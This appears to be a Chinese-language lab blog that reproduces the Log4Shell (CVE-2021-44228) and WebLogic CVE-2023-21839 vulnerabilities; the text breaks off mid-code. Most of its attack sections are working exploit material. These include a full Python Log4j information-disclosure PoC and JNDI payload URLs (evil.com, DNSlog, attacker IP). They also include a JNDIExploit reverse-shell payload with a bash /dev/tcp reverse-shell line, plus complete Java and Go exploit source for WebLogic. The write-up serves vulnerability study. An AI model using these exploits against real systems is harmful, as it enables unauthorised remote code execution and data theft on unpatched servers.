想把一些常见的CVE以及一些经典漏洞复现,做做笔记
CVE-2021-44228 Log4j2 环境搭建
Apache Log4j2 是一个被广泛使用的开源日志记录库,2017 年 7 月时,有人向 Log4j2 提了支持 JNDI Lookup 的需求,并从 2.0-beta9 之后开始支持;今年阿里的安全研究人员发现该特性会导致远程代码执行,于 2021 年 11 月 24 日向 Apache 报告了该漏洞;12 月 5 日官方发布了补丁;到了 12 月 9 日晚,PoC 的传播范围开始变得不可控,基本上各大厂商都受影响,影响范围很广,于是人们给它起了个名字——Log4Shell。
环境搭建虚拟机版本: ubuntu 20.4 Apache solr版本: 8.11.0
Apache solr 8.11.0下载 这里我采用的是Apache Solr
开源服务器
Solr是Apache下的一个顶级开源项目,采用Java开发,它是基于Lucene的全文搜索服务器。Solr提供了比Lucene更为丰富的查询语言,同时实现了可配置、可扩展,并对索引、搜索性能进行了优化。
针对漏洞修复时间[12 月 5 日]
,和官方更新文档
Apache Solr 8.11.0
是CVE-2021-44228
修复前的最后的一个版本
所以该版本也存在CVE-2021-44228
于是下载
1 https ://archive.apache.org/dist/lucene/solr/8 .11 .0 /
JAVA配置 由于Apache solr
是基于Java
开发的项目,所以需要先下载对应版本的Java
但是针对log4j2存在的版本,需要jdk1.8.0才可以复现
但是
高版本的JDK环境中trustURLCodebase
变量为false,限制了远程类的加载,导致JNDI
注入利用失败,无法反弹shell 能实现利用条件:版本≤ JDK 6u211、7u201、 8u191、11.0.1
。 但是过低版本的,solr运行可能会出错
所以这里从官网下载专门的8u171
解压到对应目录 1 tar -zxvf jdk-8 u171-linux-x64.tar.gz -C /usr/ local/jdk/
部署并修改环境变量 1 2 3 4 5 6 7 8 9 10 sudo vi ~/.bashrc 在文件末尾追加下面4行内容 export JAVA_HOME=/usr/local/jdk/jdk1.8.0_171 export JRE_HOME=${JAVA_HOME} /jre export CLASSPATH=.:${JAVA_HOME} /lib:${JRE_HOME} /lib export PATH=${JAVA_HOME} /bin:$PATH source ~/.bashrcsudo update-alternatives --install /usr/bin/java java /usr/local/jdk/jdk1.8.0_171/bin/java 300
查看版本
Solr
下载下载solr 8.11.0
1 sudo wget https://archive.apache.org/dist/lucene/solr/8 .11 .0 /solr-8 .11 .0 .tgz
然后就解压
1 sudo tar xzf solr-8 .11 .0 .tgz
安装 Apache Solr
服务 1 sudo bash solr-8 .11 .0 /bin/install_solr_service.sh solr-8 .11 .0 .tgz
查看服务状态
1 sudo systemctl status solr
发现服务已经存在
启动
1 2 sudo /lib/systemd/systemd-sysv-install enable solr
因为solr
默认运行的端口为8983
查看环境搭建的虚拟机ip
得到环境搭建靶机ip
为
成功 浏览器访问
搭建成功
内网环境中的攻击机也成功访问
环境搭建完毕
了解漏洞描述与注入原理 Apache Log4j 2
是Java
语言的日志处理套件,使用极为广泛。在其2.0
到2.14.1
版本中存在一处JNDI
注入漏
洞,攻击者在可以控制日志内容的情况下,通过传入类似于
${jndi:ldap://evil.com/example}
的lookup
用于进行JNDI
注入,执行任意代码。
Log4j2 Lookup Log4j2
Lookup
是Log4j2
的一项功能,允许您在日志消息中使用动态值 ,Log4j2
提供了许多内置的Lookup
对
象,用于查找不同类型的值
例如SystemPropertiesLookup.lookup("user.home")
方法返回了系统属性user.home
的值,并将其插入日志
消息中。
JNDI 开始我也看不太懂JNDI
任意代码执行语句意思
先了解一下JNDI
是什么以及其组成
JNDI
(Java
命名和目录接口),是Java
提供的一个目录服务应用程序接口(API
)
它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象
其中大致有 远程方法调用(RMI
),通用对象请求代理体系结构(CORBA
),轻型目录访问协议(LDAP
)或域名服务(DNS
)
其大致组成为
1 2 3 String jndiName= ...; Context context = new InitialContext ();DataSource ds = (DataSourse)context.lookup(jndiName);
所以如果能控制jndiName
,再利用rmi
之类的加载远程恶意类,从而执行恶意类的命令,故而实现远程代码执行
JNDI注入 结合lookup
和jndi
对于payload
${jndi:ldap://evil.com/example}
是Log4j2
中使用的占位符 语法。它表示在日志消息中插入一个使用
JNDILookup
对象查找的值
ldap://evil.com/example
是JNDI
查找所使用的名称。这意味着Log4j2
将在JNDI
上下文中查找名为example
的对象,该对象位于evil.com
服务器上,就可能实现访问一些敏感信息以及其他恶意操作的目的
脚本分析 这里调用**exploitdb
**中的对Log4j2
利用的脚本,这是一个信息泄露的脚本
发布时间: 12/12/2021
【ps.这个脚本可能是作者上传到exp的时候空格问题,需要稍微修改一下就可以用了】
脚本内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 import argparseimport socketserverimport threadingimport timeimport requestsLDAP_HEADER = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00\x0a' class ThreadedTCPRequestHandler (socketserver.BaseRequestHandler): def handle (self ) -> None : print (f' i| new connection from {self.client_address[0 ]} ' ) sock = self.request sock.recv(1024 ) sock.sendall(LDAP_HEADER) data = sock.recv(1024 ) data = data[9 :] data = data.decode(errors='ignore' ).split('\n' )[0 ] print (f' v| extracted value: {data} ' ) class ThreadedTCPServer (socketserver.ThreadingMixIn, socketserver.TCPServer): pass def main (): parser = argparse.ArgumentParser(description='a simple log4j <=2.14 information disclosure poc ' '(ref: https://twitter.com/Black2Fan/status/1470281005038817284)' ) parser.add_argument('--target' , '-t' , required=True , help ='target uri' ) parser.add_argument('--listen-host' , default='0.0.0.0' , help ='exploit server host to listen on (default: 127.0.0.1)' ) parser.add_argument('--listen-port' , '-lp' , default=8888 , help ='exploit server port to listen on (default: 8888)' ) parser.add_argument('--exploit-host' , '-eh' , required=True , default='127.0.0.1' , help ='host where (this) exploit server is reachable' ) parser.add_argument('--leak' , '-l' , default='${java:version}' , help ='value to leak. ' 'see: https://twitter.com/Rayhan0x01/status/1469571563674505217 ' '(default: ${java:version})' ) args = parser.parse_args() print (f' i| starting server on {args.listen_host} :{args.listen_port} ' ) server = ThreadedTCPServer((args.listen_host, args.listen_port), ThreadedTCPRequestHandler) serv_thread = threading.Thread(target=server.serve_forever) serv_thread.daemon = True serv_thread.start() time.sleep(1 ) print (f' i| server started' ) payload = f'${{jndi:ldap://{args.exploit_host} :{args.listen_port} /{args.leak} }}' print (f' i| sending exploit payload {payload} to {args.target} ' ) try : r = requests.get(args.target, headers={'User-Agent' : payload}) print (f' i| response status code: {r.status_code} ' ) print (f' i| response: {r.text} ' ) except Exception as e: print (f' e| failed to make request: {e} ' ) finally : server.shutdown() server.server_close() if __name__ == '__main__' : main()
信息泄露脚本分析 定义 LDAP_HEADER
常量,这是响应 LDAP
请求时使用的头信息
1 LDAP_HEADER = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00\x0a'
ThreadedTCPRequestHandler 这里定义ThreadedTCPRequestHandler
类的 handle()
方法用于处理来自客户端的连接。
该方法首先输出来自客户端的连接信息,然后通过调用 sock.recv()
和 sock.sendall()
方法读取客户端发送
的数据,并发送响应数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 class ThreadedTCPRequestHandler (socketserver.BaseRequestHandler): def handle (self ) -> None : print (f' i| new connection from {self.client_address[0 ]} ' ) sock = self.request sock.recv(1024 ) sock.sendall(LDAP_HEADER) data = sock.recv(1024 ) data = data[9 :] data = data.decode(errors='ignore' ).split('\n' )[0 ] print (f' v| extracted value: {data} ' )
ThreadedTCPServer ThreadedTCPServer
类是一个多线程 TCP
服务器,它继承自 socketserver.ThreadingMixIn
和
socketserver.TCPServer
类。这意味着它可以同时处理多个客户端连接。
1 2 class ThreadedTCPServer (socketserver.ThreadingMixIn, socketserver.TCPServer): pass
main() main()函数使用模块设置命令行参数解析器argparse,然后解析命令行参数。
1 2 def main (): parser = argparse.ArgumentParser(description='a simple log4j<=2.14 information disclosure poc ' '(ref:https://twitter.com/Black2Fan/status/1470281005038817284)' )
下面的类似-t,-lh,-lp
等等就是解析器设置为接受命令行参数
1 2 3 4 5 6 7 8 parser.add_argument('--target' , '-t' , required=True , help ='target uri' ) parser.add_argument('--listen-host' , default='0.0.0.0' ,help ='exploit server host to listen on(default: 127.0.0.1)' ) parser.add_argument('--listen-port' , '-lp' , default=8888 , help ='exploit server port to listen on (default: 8888)' ) parser.add_argument('--exploit-host' , '-eh' , required=True , default='127.0.0.1' ,help ='host where (this) exploit server is reachable' ) parser.add_argument('--leak' , '-l' , default='${java:version}' , help ='value to leak. ' 'see:https://twitter.com/Rayhan0x01/status/1469571563674505217 ' '(default: ${java:version})' )
parse_args()
方法用于解析命令行参数,并将解析后的参数值存储在一个名为 args
的变量中
例如,在执行脚本后加的命令行参数--listen-port 8080
就转变为了args.listen_port = 8080
,这样在后续
代码调用不同参数时,可直接调用arg
来实现
1 args = parser.parse_args()
这里先创建一个基于线程的 TCP
服务器,并使用 args.listen_host
和 args.listen_port
来指定的主机和端
口启动,并使用 ThreadedTCPRequestHandler
类来处理每个请求【也就是前面提到的】
1 2 3 print (f' i| starting server on {args.listen_host} :{args.listen_port} ' ) server = ThreadedTCPServer((args.listen_host, args.listen_port), ThreadedTCPRequestHandler)
这里主要是先创建一个 threading.Thread
对象,并将服务器的 serve_forever()
方法作为其目标。这个方法
就是字面意思,它会一直运行,直到服务器被关闭。
1 serv_thread = threading.Thread(target=server.serve_forever)
daemon
属性是 Python
中的线程特有属性,它表示该线程是否为守护线程,如果一个线程是守护线程,
那么当程序退出时,它也会被中断。
而这里的被设置为ture
,所以这意味着程序退出时,线程将被中断。
1 serv_thread.daemon = True
然后就是启动线程,并延迟 1
秒钟,来确保服务器完全启动
1 2 3 4 5 6 serv_thread.start() time.sleep(1 ) print (f' i| server started' )payload = f'${{jndi:ldap://{args.exploit_host} :{args.listen_port} /{args.leak} }}' print (f' i| sending exploit payload {payload} to {args.target} ' )
这里使用 try-finally
语句块向服务器发送payload
:
${{jndi:ldap://{args.exploit_host}:{args.listen_port}/{args.leak}}}
并打印服务器的响应状态码,以及响应的文本内容
最后调用服务器的 shutdown()
和 server_close()
方法,以关闭服务器,即使在发送 HTTP
请求时发生异常也是如此。
1 2 3 4 5 6 7 8 9 try : r = requests.get(args.target, headers={'User-Agent' : payload}) print (f' i| response status code: {r.status_code} ' ) print (f' i| response: {r.text} ' ) except Exception as e: print (f' e| failed to make request: {e} ' ) finally : server.shutdown() server.server_close()
这里就是一个常见的语句,如果脚本是独立执行的,则直接就调用 main()
函数。
1 2 if __name__ == '__main__' : main()
渗透测试 利用DNSlog验证漏洞 访问http://www.dnslog.cn/
先Get SubDomain
获取一个子域名
但是既然是注入,那肯定是存在参数注入点,查看官方solr
文档,得到在cores
里
其中action
参数可控,有很大可能是注入点
于是把我们的dnslog
获取的子域名按payload
形式添加到url
后参数中
1 http:// 192.168 .80.131 :8983 /solr/ admin/cores?action=${jndi:ldap:/ /4 d5do5.dnslog.cn}
访问查看
DNSlog
收到了访问请求
同时在靶机页面下也有DNSlog
子域名回显,虽然是
说明这里的${jndi:ldap://eavgk6.dnslog.cn}
,确实达到了访问的作用
故此推断log4j2
漏洞存在
信息泄露漏洞 这里可以利用脚本分析中exploitdb
里的信息泄露脚本即可
按照脚本原理也是利用占位符,也就是payload
的形式,但是参数为系统属性,这些属性会自动返回对应的值,
最后脚本通过对返回数据的解析,就可以得到敏感数据
当然直接通过访问得到消息也是可以的
比如${sys:os.version}
,就得到我们靶机的系统内核版本号为5.15.0-56-generic
1 http:// 192.168 .80.131 :8983 /solr/ admin/cores?action=${jndi:ldap:/ /${sys:os.version} .7 b09py.dnslog.cn}
对于usr.name
,以及os.name
等等都是可以实现
1 http:// 192.168 .80.131 :8983 /solr/ admin/cores?action=${jndi:ldap:/ /${sys:user.name} .7 b09py.dnslog.cn}
以下就是在log4j2
其他可用系统属性列表
远程代码执行漏洞 1 2 3 攻击机kali ip :192 .168 .80 .128 攻击机kali 监听端口:8888 靶机ubuntu ip :192 .168 .80 .131
JNDIExploit-1.2-SNAPSHOT.jar利用JNDI注入反弹shell 该工具的原理我剖析了一下,
先启动工具
1 java -jar JNDIExploit-1 .2 -SNAPSHOT.jar -i 192.168.80.128
简单来讲就是在攻击机【192.168.80.128
】的1389
端口搭建起了一个服务器,其中放置了一个恶意类,
通过利用靶机网站JNDI
注入漏洞把这个恶意类进行远程加载,从而执行了命令
利用JNDIExploit-1.2-SNAPSHOT.jar
最好的就是简化了1.0
的繁杂参数
只需要构造payload
1 http:// 192.168 .80.131 :8983 /solr/ admin/cores?action=${jndi:ldap:/ /192.168.80.128:1389/ Basic/ReverseShell/ 192.168 .80.128 /6666 }
/Basic/ReverseShell/
中其实就包含反弹shell
的命令
1 2 3 4 5 bash -i >& /dev/tcp/xx.xx .xx .xx/xxxx 0 >&1 *这里的 /xx.xx .xx .xx/xxxx 就是其后跟上的参数 /192.168 .80.128 /6666
于是就是/Basic/ReverseShell/192.168.80.128/6666
被恶意类包含
然后在攻击机监听6666
端口
最后访问payload
,触发
成功反弹到shell
测试完毕
CVE-2023-21839 Weblogic远程代码执行漏洞 Windows 该漏洞的影响范围为Weblogic 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
先在官方的进行修复更新文档中进行查看
Oracle Critical Patch Update Advisory - January 2023
CVE-2023-21839
Oracle WebLogic Server
核心
T3, IIOP
是的
7.5
网络
低
没有
没有
未 更改
高
没有
没有
12.2.1.3.0 12.2.1.4.0 14.1.1.0.0
CVE-id
产品
元件
协议
无需身份验证即可远程利用。
评分
攻击向量
攻复合体
Privs’Req[权限提提升]
用户交互
范围
倾诉
内涵
可用性
版本
概念 weblogic是什么?
WebLogic是美国Oracle公司 出品的一个application server,确切的说是一个基于JAVAEE 架构的中间件 ,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用 和数据库应用 的Java 应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
T3的概念和交互过程
T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI
对象,但仍使用一个套接字和一条线程。这也为我们静态分析t3协议带来了很多麻烦
RMI在log4j中提到,它是一个调用远程类的一个Java的方法
交互方式
iiop概念
用来在CORBA对象请求代理 之间交流的协议。Java中使得程序可以和其他语言的CORBA实现互操作性 的协议。
这个协议的最初阶段是要建立以下几个组件部分:一个IIOP到HTTP的网关 ,使用这个网关可以让CORBA客户访问WWW资源;一个HTTP到IIOP的网关,通过这个网关可以访问CORBA资源;一个为IIOP和HTTP提供资源的服务器,一个能够将IIOP作为可识别协议的浏览器。
什么是CORBA
CORBA(Common ObjectRequest Broker Architecture公共对象请求代理体系结构)是由OMG 组织制订的一种标准的面向对象 应用程序体系规范。或者说CORBA体系结构是对象管理组织(OMG)为解决分布式处理 环境(DCE)中,硬件和软件系统的互连而提出的一种解决方案;OMG组织是一个国际性的非盈利组织 ,其职责是为应用 开发提供一个公共框架,制订工业指南和对象管理规范,加快对象技术的发展。
环境搭建 从官网下载Weblogic 12.2.1.3.0
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
然后解压其中的jar包,然后到/disk1/install
下执行cmd脚本就行
但是需要注意,由于Weblogic
中的maven
的存在,其识别jdk
时,只针对环境变量名JAVA_HOME
的路径进行识别,而如果是在PATH中配置的,会报错找不到java
环境的位置
1 ERROR: Cannot determine the Java Home ERROR: Specify the -jreLoc option
然后再次管理员执行时发现失败,查看报错日志
java.lang.NullPointerException: Cannot invoke “java.lang.reflect.Method
.invoke(Object, Object[])” because “com.sun.xml.bind
.v2.runtime.reflect.opt.Injector.defineClass” is null
[[
猜测应该是我的java
自身的问题
从stack
中了解到了,在java9
的时候,JAXB
(Java Architecture for XML Binding)[java映射为xml的表示方式]
在java9
已经被标记为弃用,在java11
的时候已经被删除,所以需要换到低版本的java
或者在依赖项添加xml
库,让其重新映射
New APIs in Java 11 - javaalmanac.io
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > com.sun.xml.bind</groupId > <artifactId > jaxb-impl</artifactId > <version > 2.3.1</version > </dependency > <dependency > <groupId > com.sun.xml.messaging.saaj</groupId > <artifactId > saaj-impl</artifactId > <version > 1.5.1</version > </dependency >
【建议下载jdk8低版本最方便,记得再次修改JAVA_HOME环境变量】
注意,这个和log4j的原因一样,是加载远程恶意类导致远程命令的执行,所以对java是否开启加载远程类,也就是要注意对应的版本
版本≤ JDK 6u211、7u201、 8u191、11.0.1
所以我这里复现的环境和apache的log4j2一样,是JDK-8u171
,配置方式如cve-2021-44228
安装搭建按流程按引导
1 http://localhost:7001/console
渗透流程 这是2023年一月的洞,我是二月复现的,目前大致就两种payload工具,一个java
的,一个go
仔细分析一下漏洞的利用条件和形成原因,以及两个工具的脚本的原理
go的4ra1n/CVE-2023-21839: Weblogic CVE-2023-21839 RCE (无需Java依赖一键RCE) (github.com)
java的DXask88MA/Weblogic-CVE-2023-21839 (github.com)
两者大差不差,但是个人感觉go更舒服一些
在公网上,IIOP协议和NAT转换之间存在冲突的网络问题,
一般只能修改源码或者尝试iiop协议net绕过 Weblogic IIOP 协议NAT 网络绕过 - 先知社区 (aliyun.com)
【冲突原因学习记在keynotes上,大致就是两者之间的ip指向和ip转换冲突,一个根据自身规则发送数据到私网ip,另一个根据自身规则把私网ip又变为公网ip,从而通讯连接失败】
用go进行重写iiop的一些协议,从而避免在对公网或者docker进行操作的时候出现连接网络错误,当然java也是可以修改iiop规则的,视情况和能力而定
远程代码执行原理
利用该漏洞允许未经身份验证的攻击者通过 T3、IIOP
进行网络访问,从而危害 Oracle WebLogic Server。成功攻击此漏洞可导致未经授权访问关键数据或完全访问所有 Oracle WebLogic Server 可访问数据
。
JAVA (不好的就是需要对应java版本跑,每个版本Java都要删去一些东西,还是go整洁的包舒服)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.lang.reflect.Field;import java.util.Hashtable;import java.util.Random;public class CVE_2023_21839 { static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory" ; static String HOW_TO_USE = "[*]java -jar 目标ip:端口 ldap地址\n" + "e.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111" ; private static InitialContext getInitialContext (String url) throws NamingException { Hashtable<String, String> env = new Hashtable <String, String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext (env); } public static void main (String args[]) throws Exception { if (args.length < 2 ) { System.out.println(HOW_TO_USE); System.exit(0 ); } String t3Url = args[0 ]; String ldapUrl = args[1 ]; InitialContext c = getInitialContext("t3://" + t3Url); Hashtable<String, String> env = new Hashtable <String, String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); weblogic.deployment.jms.ForeignOpaqueReference f = new weblogic .deployment.jms.ForeignOpaqueReference(); Field jndiEnvironment = weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment" ); jndiEnvironment.setAccessible(true ); jndiEnvironment.set(f, env); Field remoteJNDIName = weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName" ); remoteJNDIName.setAccessible(true ); remoteJNDIName.set(f, ldapUrl); String bindName = new Random (System.currentTimeMillis()).nextLong() + "" ; try { c.bind(bindName, f); c.lookup(bindName); } catch (Exception e) { } } }
GO 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 package mainimport ( "CVE-2023-21839" "encoding/binary" "encoding/hex" "flag" "fmt" "net" "strings" ) var ( hostConfig string portConfig int ldapConfig string ) var ( key1 string key2 string key3 string wlsKey1 string wlsKey2 string ) var ( ServiceContext0 = &giop.ServiceContext{ VSCID: giop.D("000000" ), SCID: giop.D("05" ), Endianness: []byte {giop.BigEndianType}, Data: giop.D("000000000000010000000d3137322e32362e3131322e310000ec5b" ), } ServiceContext1 = &giop.ServiceContext{ VSCID: giop.D("000000" ), SCID: giop.D("01" ), Endianness: []byte {giop.BigEndianType}, Data: giop.D("0000000001002005010001" ), } ServiceContext2 = &giop.ServiceContext{ VSCID: giop.D("424541" ), SCID: giop.D("00" ), Endianness: []byte {giop.BigEndianType}, Data: giop.D("0a0301" ), } ) func main () { flag.StringVar(&hostConfig, "ip" , "" , "ip" ) flag.IntVar(&portConfig, "port" , 7001 , "port" ) flag.StringVar(&ldapConfig, "ldap" , "" , "ldap" ) flag.Parse() if hostConfig == "" || ldapConfig == "" { fmt.Println("Weblogic CVE-2023-21839" ) flag.Usage() return } if !strings.HasPrefix(ldapConfig, "ldap" ) { fmt.Println("Weblogic CVE-2023-21839" ) flag.Usage() } fmt.Printf("[*] your-ip: %s\n" , hostConfig) fmt.Printf("[*] your-port: %d\n" , portConfig) fmt.Printf("[*] your-ldap: %s\n" , ldapConfig) vp := "743320392e322e302e300a41533a3235350a484c3a39320a4d5" + "33a31303030303030300a50553a74333a2f2f746573743a373030310a0a" ver := giop.GetVersion(hostConfig, vp, portConfig) if ver == "12" { fmt.Println("[*] weblogic 12" ) wlsKey1 = "00424541080103000000000c41646d696e53657276657200000000000000003349" + "444c3a7765626c6f6769632f636f7262612f636f732f6e616d696e672f4e616d696e6743" + "6f6e74657874416e793a312e3000000000000238000000000000014245412c0000001000" + "00000000000000{{key1}}" wlsKey2 = "00424541080103000000000c41646d696e53657276657200000000000000003349" + "444c3a7765626c6f6769632f636f7262612f636f732f6e616d696e672f4e616d696e6743" + "6f6e74657874416e793a312e30000000000004{{key3}}000000014245412c0000001000" + "00000000000000{{key1}}" } else if ver == "14" { fmt.Println("[*] weblogic 14" ) wlsKey1 = "00424541080103000000000c41646" + "d696e53657276657200000000000000003349444c3a7765626c" + "6f6769632f636f7262612f636f732f6e616d696e672f4e616d6" + "96e67436f6e74657874416e793a312e30000000000002380000" + "00000000014245412e000000100000000000000000{{key1}}" wlsKey2 = "00424541080103000000000c41646d696e53657276657" + "200000000000000003349444c3a7765626c6f6769632f636f72" + "62612f636f732f6e616d696e672f4e616d696e67436f6e74657" + "874416e793a312e30000000000004{{key3}}00000001424541" + "2e000000100000000000000000{{key1}}" } else { fmt.Println("[!] error and exit" ) } host := hostConfig port := portConfig conn, err := net.Dial("tcp" , fmt.Sprintf("%s:%d" , host, port)) rmi := ldapConfig ldap := hex.EncodeToString([]byte {byte (len (rmi))}) ldap += hex.EncodeToString([]byte (rmi)) if err != nil { return } locateRequest := &giop.LocateRequest{ Header: &giop.Header{ Magic: giop.D(giop.GIOP), MajorVersion: []byte {giop.MajorVersion}, MinorVersion: []byte {giop.MinorVersion}, MessageFlags: []byte {giop.BigEndianType}, MessageType: []byte {giop.LocateRequestType}, }, RequestId: giop.Int32(2 ), TargetAddress: giop.D(giop.KeyAddr), KeyAddress: giop.D(giop.NameService), } giop.Log(2 , "LocateRequest" ) _, _ = conn.Write(locateRequest.Bytes()) buf := make ([]byte , 1024 *10 ) _, _ = conn.Read(buf) temp1 := make ([]byte , 8 ) temp2 := make ([]byte , 8 ) iOff := 0x60 for buf[iOff] != 0x00 { iOff++ } if iOff > 1024 *10 { return } for buf[iOff] == 0x00 { iOff++ } p := make ([]byte , 2 ) p[0 ] = buf[iOff] iOff++ p[1 ] = buf[iOff] tempPort := int (binary.BigEndian.Uint16(p)) if tempPort != port { return } lt := iOff - 0x60 fOff := 0x60 + lt + 0x75 for buf[fOff] == 0x00 { fOff++ } copy (temp1[0 :8 ], buf[fOff:fOff+8 ]) copy (temp2[4 :8 ], buf[fOff+4 :fOff+8 ]) copy (temp2[0 :4 ], []byte {0xff , 0xff , 0xff , 0xff }) key1 = giop.E(temp1) key2 = giop.E(temp2) wlsKey1 = strings.ReplaceAll(wlsKey1, "{{key1}}" , key1) rebindAny := &giop.RebindRequest{ Header: &giop.Header{ Magic: giop.D(giop.GIOP), MajorVersion: []byte {giop.MajorVersion}, MinorVersion: []byte {giop.MinorVersion}, MessageFlags: []byte {giop.BigEndianType}, MessageType: []byte {giop.RequestType}, }, RequestId: giop.Int32(3 ), ResponseFlags: []byte {giop.WithTargetScope}, TargetAddress: giop.D(giop.KeyAddr), KeyAddress: giop.D(wlsKey1), RequestOperation: giop.D(giop.RebindAnyOp), ServiceContextList: &giop.ServiceContextList{ SequenceLength: giop.Int32(6 ), ServiceContext: []*giop.ServiceContext{ ServiceContext0, ServiceContext1, { VSCID: giop.D("000000" ), SCID: giop.D("06" ), Endianness: []byte {giop.BigEndianType}, Data: giop.D("0000000000002849444c3a6f6d672e6f72672f53656e64696e67436" + "f6e746578742f436f6465426173653a312e30000000000100000000000000b8000102000000000" + "d3137322e32362e3131322e310000ec5b000000640042454108010300000000010000000000000" + "0000000002849444c3a6f6d672e6f72672f53656e64696e67436f6e746578742f436f646542617" + "3653a312e30000000000331320000000000014245412a0000001000000000000000005eedafdeb" + "c0d227000000001000000010000002c00000000000100200000000300010020000100010501000" + "10001010000000003000101000001010905010001" ), }, { VSCID: giop.D("000000" ), SCID: giop.D("0f" ), Endianness: []byte {giop.BigEndianType}, Data: giop.D("00000000000000000000000000000100000000000000000100000000000000" ), }, { VSCID: giop.D("424541" ), SCID: giop.D("03" ), Endianness: []byte {giop.BigEndianType}, Data: giop.D("00000000000000" + key2 + "00000000" ), }, ServiceContext2, }, }, StubData: giop.D("0000000000000001000000047465737400000001000000000000001d0000001c00000000000000010" + "0000000000000010000000000000000000000007fffff0200000054524d493a7765626c6f6769632e6a6e64692e69" + "6e7465726e616c2e466f726569676e4f70617175655265666572656e63653a4432333744393143423246304636384" + "13a3344323135323746454435393645463100000000007fffff020000002349444c3a6f6d672e6f72672f434f5242" + "412f57537472696e6756616c75653a312e300000000000" + ldap), } giop.Log(3 , "RebindRequest" ) _, _ = conn.Write(rebindAny.Bytes()) buf = make ([]byte , 1024 *10 ) _, _ = conn.Read(buf) startOff := 0x64 + lt + 0xc0 + len (host) + 0xac + lt + 0x5d for buf[startOff] != 0x32 { if startOff > 0x2710 { break } startOff++ } if startOff > 0x2710 { key3 = giop.E([]byte {0x32 , 0x38 , 0x39 , 0x00 }) } else { key3 = giop.E(buf[startOff : startOff+4 ]) } wlsKey2 = strings.ReplaceAll(wlsKey2, "{{key3}}" , key3) wlsKey2 = strings.ReplaceAll(wlsKey2, "{{key1}}" , key1) rebindAnyTwice := &giop.RebindRequest{ Header: &giop.Header{ Magic: giop.D(giop.GIOP), MajorVersion: []byte {giop.MajorVersion}, MinorVersion: []byte {giop.MinorVersion}, MessageFlags: []byte {giop.BigEndianType}, MessageType: []byte {giop.RequestType}, }, RequestId: giop.Int32(4 ), ResponseFlags: []byte {giop.WithTargetScope}, TargetAddress: giop.D(giop.KeyAddr), KeyAddress: giop.D(wlsKey2), RequestOperation: giop.D(giop.RebindAnyOp), ServiceContextList: &giop.ServiceContextList{ SequenceLength: giop.Int32(4 ), ServiceContext: []*giop.ServiceContext{ ServiceContext0, ServiceContext1, { VSCID: giop.D("424541" ), SCID: giop.D("03" ), Endianness: []byte {giop.BigEndianType}, Data: giop.D("00000000000000" + key2 + "00000000" ), }, ServiceContext2, }, }, StubData: giop.D("00000001000000047465737400000001000000000000001d0000001c00000000000000010" + "0000000000000010000000000000000000000007fffff0200000054524d493a7765626c6f6769632e6a6e64692e69" + "6e7465726e616c2e466f726569676e4f70617175655265666572656e63653a4432333744393143423246304636384" + "13a3344323135323746454435393645463100000000007fffff020000002349444c3a6f6d672e6f72672f434f5242" + "412f57537472696e6756616c75653a312e300000000000" + ldap), } giop.Log(4 , "RebindRequest" ) _, _ = conn.Write(rebindAnyTwice.Bytes()) buf = make ([]byte , 1024 *10 ) _, _ = conn.Read(buf) locateRequest2 := 